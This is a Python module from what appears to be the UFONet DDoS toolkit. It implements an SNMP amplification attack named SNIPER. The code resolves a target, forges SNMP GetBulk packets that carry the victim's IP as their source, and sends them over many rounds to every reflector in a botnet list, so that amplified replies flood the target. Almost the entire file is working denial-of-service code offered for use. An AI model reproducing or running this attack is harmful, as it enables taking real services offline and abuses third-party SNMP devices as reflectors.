"""
This file is part of the UFONet project, https://ufonet.03c8.net
Copyright (c) 2013/2024 | psy <[email protected]>
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys, random
try:
from scapy import *
except:
print("\nError importing: scapy lib.\n")
sys.exit(2)
snmp_file = "botnet/snmp.txt"
oid ="1.3.6.1.2.1.1.1"
def sniperize(ip, rounds):
n=0
try:
with open(snmp_file) as f:
snmp_d = f.read().splitlines()
f.close()
p_num=0
for x in range (0,int(rounds)):
try:
n=n+1
print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
for j in snmp_d:
p_num += 1
packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))
try:
send(packet, verbose=0)
print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
except:
print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
except:
print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]")
except:
print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]")
class SNIPER(object):
def attacking(self, target, rounds):
print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]")
if target.startswith('http://'):
target = target.replace('http://','')
elif target.startswith('https://'):
target = target.replace('https://','')
try:
ip = socket.gethostbyname(target)
except:
try:
import dns.resolver
r = dns.resolver.Resolver()
r.nameservers = ['8.8.8.8', '8.8.4.4']
url = urlparse(target)
a = r.query(url.netloc, "A")
for rd in a:
ip = str(rd)
except:
ip = target
if ip == "127.0.0.1" or ip == "localhost":
print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
return
sniperize(ip, rounds)